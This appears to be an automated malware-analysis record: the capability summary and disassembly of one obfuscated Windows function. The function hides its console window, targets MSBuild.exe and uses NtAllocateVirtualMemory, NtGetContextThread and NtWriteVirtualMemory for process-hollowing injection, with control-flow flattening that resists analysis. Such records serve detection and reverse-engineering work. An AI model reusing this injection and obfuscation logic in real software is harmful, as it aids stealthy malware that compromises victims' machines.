Function at 0x10008280
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1b0
mov eax, dword [0x1006b600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1b8], 0x3479a014
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x1bc], eax
sub eax, 0x8010a212
je 0x1000d764
jmp 0x100082bc
mov eax, dword [ebp - 0x1bc]
sub eax, 0x815a42b2
je 0x1000d337
jmp 0x100082d2
mov eax, dword [ebp - 0x1bc]
sub eax, 0x822f02ea
je 0x1000f8a1
jmp 0x100082e8
mov eax, dword [ebp - 0x1bc]
sub eax, 0x829b3444
je 0x1000a82b
jmp 0x100082fe
mov eax, dword [ebp - 0x1bc]
sub eax, 0x82b5ae96
je 0x1000c373
jmp 0x10008314
mov eax, dword [ebp - 0x1bc]
sub eax, 0x82ccc0ee
je 0x1000ded6
jmp 0x1000832a
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8307b8b5
je 0x1000b3b1
jmp 0x10008340
mov eax, dword [ebp - 0x1bc]
sub eax, 0x83be50cf
je 0x10009f58
jmp 0x10008356
mov eax, dword [ebp - 0x1bc]
sub eax, 0x85aeb8c4
je 0x1000f754
jmp 0x1000836c
mov eax, dword [ebp - 0x1bc]
sub eax, 0x86e6cc09
je 0x1000d6fe
jmp 0x10008382
mov eax, dword [ebp - 0x1bc]
sub eax, 0x87ecf58a
je 0x1000f030
jmp 0x10008398
mov eax, dword [ebp - 0x1bc]
sub eax, 0x89ddfed6
je 0x1000d204
jmp 0x100083ae
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8a117857
je 0x1000b1d6
jmp 0x100083c4
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8a9aa495
je 0x1000b3c0
jmp 0x100083da
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8b344ed0
je 0x1000ae80
jmp 0x100083f0
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8c4126cb
je 0x1000c0a0
jmp 0x10008406
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8d581e22
je 0x1000f146
jmp 0x1000841c
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8de24c8a
je 0x1000d213
jmp 0x10008432
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8e1bd158
je 0x1000c02a
jmp 0x10008448
mov eax, dword [ebp - 0x1bc]
sub eax, 0x8fcc3d65
je 0x1000db18
jmp 0x1000845e
mov eax, dword [ebp - 0x1bc]
sub eax, 0x909c5ab8
je 0x1000a20a
jmp 0x10008474
mov eax, dword [ebp - 0x1bc]
sub eax, 0x90cd3018
je 0x1000dbd1
jmp 0x1000848a
mov eax, dword [ebp - 0x1bc]
sub eax, 0x90d60cbd
je 0x1000aa7f
jmp 0x100084a0
mov eax, dword [ebp - 0x1bc]
sub eax, 0x90f30626
je 0x1000b360
jmp 0x100084b6
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9188d4df
je 0x1000c394
jmp 0x100084cc
mov eax, dword [ebp - 0x1bc]
sub eax, 0x91db89ca
je 0x1000e985
jmp 0x100084e2
mov eax, dword [ebp - 0x1bc]
sub eax, 0x91f31c6c
je 0x1000bd87
jmp 0x100084f8
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9248d50b
je 0x1000f61c
jmp 0x1000850e
mov eax, dword [ebp - 0x1bc]
sub eax, 0x934a87a1
je 0x1000e892
jmp 0x10008524
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9378792f
je 0x1000ab4b
jmp 0x1000853a
mov eax, dword [ebp - 0x1bc]
sub eax, 0x939e4925
je 0x1000c85d
jmp 0x10008550
mov eax, dword [ebp - 0x1bc]
sub eax, 0x93f4b740
je 0x1000b6e1
jmp 0x10008566
mov eax, dword [ebp - 0x1bc]
sub eax, 0x94a3a871
je 0x1000ec27
jmp 0x1000857c
mov eax, dword [ebp - 0x1bc]
sub eax, 0x94aba52d
je 0x1000c8f7
jmp 0x10008592
mov eax, dword [ebp - 0x1bc]
sub eax, 0x96088172
je 0x1000f816
jmp 0x100085a8
mov eax, dword [ebp - 0x1bc]
sub eax, 0x96300200
je 0x1000ad13
jmp 0x100085be
mov eax, dword [ebp - 0x1bc]
sub eax, 0x97239aa6
je 0x1000a7ae
jmp 0x100085d4
mov eax, dword [ebp - 0x1bc]
sub eax, 0x97f9354d
je 0x1000cdaf
jmp 0x100085ea
mov eax, dword [ebp - 0x1bc]
sub eax, 0x982fb7b0
je 0x1000e6b3
jmp 0x10008600
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9887c07b
je 0x1000d746
jmp 0x10008616
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9a485863
je 0x1000f772
jmp 0x1000862c
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9b0ff340
je 0x1000de85
jmp 0x10008642
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9c871530
je 0x1000f502
jmp 0x10008658
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9d07d72a
je 0x1000bdfd
jmp 0x1000866e
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9d9d7140
je 0x1000f200
jmp 0x10008684
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9df06d09
je 0x1000bcb0
jmp 0x1000869a
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9ea8ad98
je 0x1000de0f
jmp 0x100086b0
mov eax, dword [ebp - 0x1bc]
sub eax, 0x9f611ede
je 0x1000f9f7
jmp 0x100086c6
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa002fa60
je 0x1000b26b
jmp 0x100086dc
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa167cc15
je 0x1000ae0e
jmp 0x100086f2
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa1e68ff1
je 0x1000d4b2
jmp 0x10008708
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa23334db
je 0x1000f932
jmp 0x1000871e
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa269674c
je 0x1000f389
jmp 0x10008734
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa2bacd17
je 0x1000d755
jmp 0x1000874a
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa43858db
je 0x1000a289
jmp 0x10008760
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa442a16d
je 0x1000d5ff
jmp 0x10008776
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa56d0bb0
je 0x1000b07a
jmp 0x1000878c
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa68e4b1a
je 0x1000ee45
jmp 0x100087a2
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa77bdee2
je 0x1000dcb8
jmp 0x100087b8
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa819370f
je 0x1000e362
jmp 0x100087ce
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa8582bec
je 0x1000e035
jmp 0x100087e4
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa9927322
je 0x10009ee2
jmp 0x100087fa
mov eax, dword [ebp - 0x1bc]
sub eax, 0xa9cf5223
je 0x1000e008
jmp 0x10008810
mov eax, dword [ebp - 0x1bc]
sub eax, 0xab9922d7
je 0x1000d043
jmp 0x10008826
mov eax, dword [ebp - 0x1bc]
sub eax, 0xac631fb6
je 0x1000d0f5
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
add edx, 0x982db6c1
sub edx, 1
sub edx, 0x982db6c1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x661cfe77
mov ecx, 0x83be50cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
push eax
mov eax, esp
mov dword [ebp - 0x198], eax
push eax
mov eax, esp
mov dword [ebp - 0x194], eax
push eax
mov eax, esp
mov dword [ebp - 0x190], eax
push eax
mov eax, esp
mov dword [ebp - 0x18c], eax
push eax
mov eax, esp
mov dword [ebp - 0x188], eax
push eax
mov eax, esp
mov dword [ebp - 0x184], eax
push eax
mov eax, esp
mov dword [ebp - 0x180], eax
push eax
mov eax, esp
mov dword [ebp - 0x17c], eax
push eax
mov eax, esp
mov dword [ebp - 0x178], eax
push eax
mov eax, esp
mov dword [ebp - 0x174], eax
push eax
mov eax, esp
mov dword [ebp - 0x170], eax
push eax
mov eax, esp
mov dword [ebp - 0x16c], eax
push eax
mov eax, esp
mov dword [ebp - 0x168], eax
push eax
mov eax, esp
mov dword [ebp - 0x164], eax
push eax
mov eax, esp
mov dword [ebp - 0x160], eax
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
push eax
mov eax, esp
mov dword [ebp - 0x154], eax
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001450
add esp, 4
lea eax, [0x1001d1e1]
sub esp, 4
mov dword [esp], eax
call fcn.10001450
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x47600
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x148], eax
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
sub edx, 0xab31284e
sub edx, 1
add edx, 0xab31284e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x661cfe77
mov ecx, 0x2da2e54d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0xbf00beac
jmp 0x1000faa6
mov eax, dword [ebp - 0x144]
mov ax, word [eax]
mov word [ebp - 0x13e], ax
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x982fb7b0
mov ecx, 0xc9426865
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0x5e3c31ef
jmp 0x1000faa6
mov eax, dword [ebp - 0x128]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x1a9], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x1b0], eax
mov al, byte [ebp - 0x1a9]
mov byte [ebp - 0x122], al
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
sub edx, 0x4623bd43
sub edx, 1
add edx, 0x4623bd43
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5e7c958b
mov ecx, 0x3a37b20b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0xe7c0440e
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0x6df267
jmp 0x1000faa6
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
sub edx, 0x1383ee3c
sub edx, 1
add edx, 0x1383ee3c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7f55afa4
mov ecx, 0x28d72597
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x118]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0x112], al
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c871530
mov ecx, 0x8b344ed0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dl, byte [ebp - 0x112]
mov eax, 0xa819370f
mov ecx, 0x4861a133
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
add edx, 0x7ca7a9f1
sub edx, 1
sub edx, 0x7ca7a9f1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x71d7ad8f
mov ecx, 0x41da0490
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dword [ebp - 0x68], 0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x1b8], 0xf182b7a9
jmp 0x1000faa6
mov eax, dword [ebp - 0x110]
mov edx, dword [eax]
mov eax, dword [ebp - 0x198]
lea ecx, [ebp - 0x68]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x50e5959a
mov ecx, 0x265b448
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
mov edx, eax
sub edx, 0x22894f68
sub edx, 1
add edx, 0x22894f68
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc8046807
mov ecx, 0x8307b8b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0x8a9aa495
jmp 0x1000faa6
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
mov edx, eax
sub edx, 0xd51cfb18
sub edx, 1
add edx, 0xd51cfb18
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3856380d
mov ecx, 0x3ad56198
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
mov edx, eax
sub edx, 0x4cf9a887
sub edx, 1
add edx, 0x4cf9a887
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd8f3ba6e
mov ecx, 0xfa58a951
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0x3bd491b1
jmp 0x1000faa6
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
add edx, 0x921b41cd
sub edx, 1
sub edx, 0x921b41cd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x13cdeb8f
mov ecx, 0x9d07d72a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
sub edx, 0x7cd6da61
sub edx, 1
add edx, 0x7cd6da61
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x13cdeb8f
mov ecx, 0xc4c1f325
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
sub edx, 0xc3190f5c
sub edx, 1
add edx, 0xc3190f5c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x21de8309
mov ecx, 0x8c4126cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
imul ecx, ecx, 0x28
add eax, ecx
mov edx, dword [eax + 0xc]
mov ecx, dword [ebp - 0xdc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xe0]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x18c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x17c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10008020
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x178]
mov dword [eax], ecx
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x17c]
imul edx, dword [edx], 0x28
add ecx, edx
cmp eax, dword [ecx + 0xc]
setae al
and al, 1
mov byte [ebp - 0xcd], al
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
mov edx, eax
add edx, 0xd771db4a
sub edx, 1
sub edx, 0xd771db4a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x21de8309
mov ecx, 0xf68aa6a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dl, byte [ebp - 0xc1]
mov eax, 0xbcdfbaa6
mov ecx, 0x9188d4df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
sub edx, 0xbb8ba093
sub edx, 1
add edx, 0xbb8ba093
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x85aeb8c4
mov ecx, 0x2dee1ffc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
mov edx, eax
sub edx, 0x76d70603
sub edx, 1
add edx, 0x76d70603
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7bc390d3
mov ecx, 0x71fa8670
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0xdc9d13d7
jmp 0x1000faa6
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
add edx, 0xdbbabb97
sub edx, 1
sub edx, 0xdbbabb97
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc638fb39
mov ecx, 0xc114490e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e5b2b08
mov ecx, 0xbb10ca7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0x8de24c8a
jmp 0x1000faa6
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
mov edx, eax
sub edx, 0x8570951c
sub edx, 1
add edx, 0x8570951c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x96088172
mov ecx, 0xbc72fb89
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf2284665
mov ecx, 0x7793c6ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
mov edx, eax
add edx, 0x3b9e4b23
sub edx, 1
sub edx, 0x3b9e4b23
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4e3ad3d5
mov ecx, 0xea94cb27
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0x2ef746e
jmp 0x1000faa6
mov eax, dword [ebp - 0x8c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x90]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x1b8], 0x9887c07b
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0xa2bacd17
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0x8010a212
jmp 0x1000faa6
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe77d8b20
mov ecx, 0xc9e03bf3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0xf82e4ee5
jmp 0x1000faa6
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
sub edx, 0x5578bbba
sub edx, 1
add edx, 0x5578bbba
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x62bf6dc5
mov ecx, 0x195b1036
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0x419517d1
jmp 0x1000faa6
mov ecx, dword [0x1006c928]
mov eax, dword [0x1006c924]
mov edx, ecx
add edx, 0xe29400e
sub edx, 1
sub edx, 0xe29400e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x64beda52
mov ecx, 0x9b0ff340
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
mov edx, eax
add edx, 0x9b1ce8c2
sub edx, 1
sub edx, 0x9b1ce8c2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x40cf8360
mov ecx, 0x82ccc0ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov eax, dword [0x1006c928]
mov ecx, dword [0x1006c924]
mov edx, eax
add edx, 0x11c38705
sub edx, 1
sub edx, 0x11c38705
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x40cf8360
mov ecx, 0x1c90f3e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b8], eax
jmp 0x1000faa6
mov dword [ebp - 0x1b8], 0xd52a9f8d
jmp 0x1000faa6
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
